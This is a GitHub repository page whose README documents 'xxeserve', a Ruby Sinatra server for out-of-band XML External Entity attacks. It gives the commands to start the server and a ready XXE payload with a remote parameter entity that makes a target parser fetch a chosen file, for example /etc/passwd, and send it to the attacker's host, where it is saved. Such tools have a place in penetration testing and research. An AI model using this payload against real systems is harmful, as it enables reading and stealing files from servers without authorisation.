Skip to content
XXE Out of Band Server.
Branch: master
Clone or download
joernchen Merge pull request #4 from mccabe615/master
Make port optional and update documentation
Latest commit c4a859f Jun 2, 2016
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
files
.gitignore Include files directory Jul 6, 2013
Gemfile Intial commit Jul 6, 2013
README.md Update README.md Jun 1, 2016
xxeserve.rb

README.md

XXE Out of Band Server.

This tiny Sinatra app will assist you in using the XXE Out of Band technique described in [0].

Usage:

Start on default port of 443 (may need sudo on some systems)

ruby xxeserve.rb

Pass in port to start on

ruby xxeserve.rb 8080

Trigger the XML parser with the following XML:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://YOURHOST:YOURPORT/xml?f=FULLPATH">
%remote;
%int;
%trick;]>

Where YOURHOST and YOURPORT needs to be set to the host/port this app runs on in the URL you provide. FULLPATH needs to be set to the full absolute path of the to be read file (e.g. f=/etc/passwd)

e.g. http://8.8.8.8:443/xml?f=/etc/passwd

The according file will be send to the app and stored under ./files

Depending on the targeted parser it may not work with all files.

[0] http://www.nosuchcon.org/talks/2013/D3_03_Alex&Timur_XML_Out_Of_Band.pdf

You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.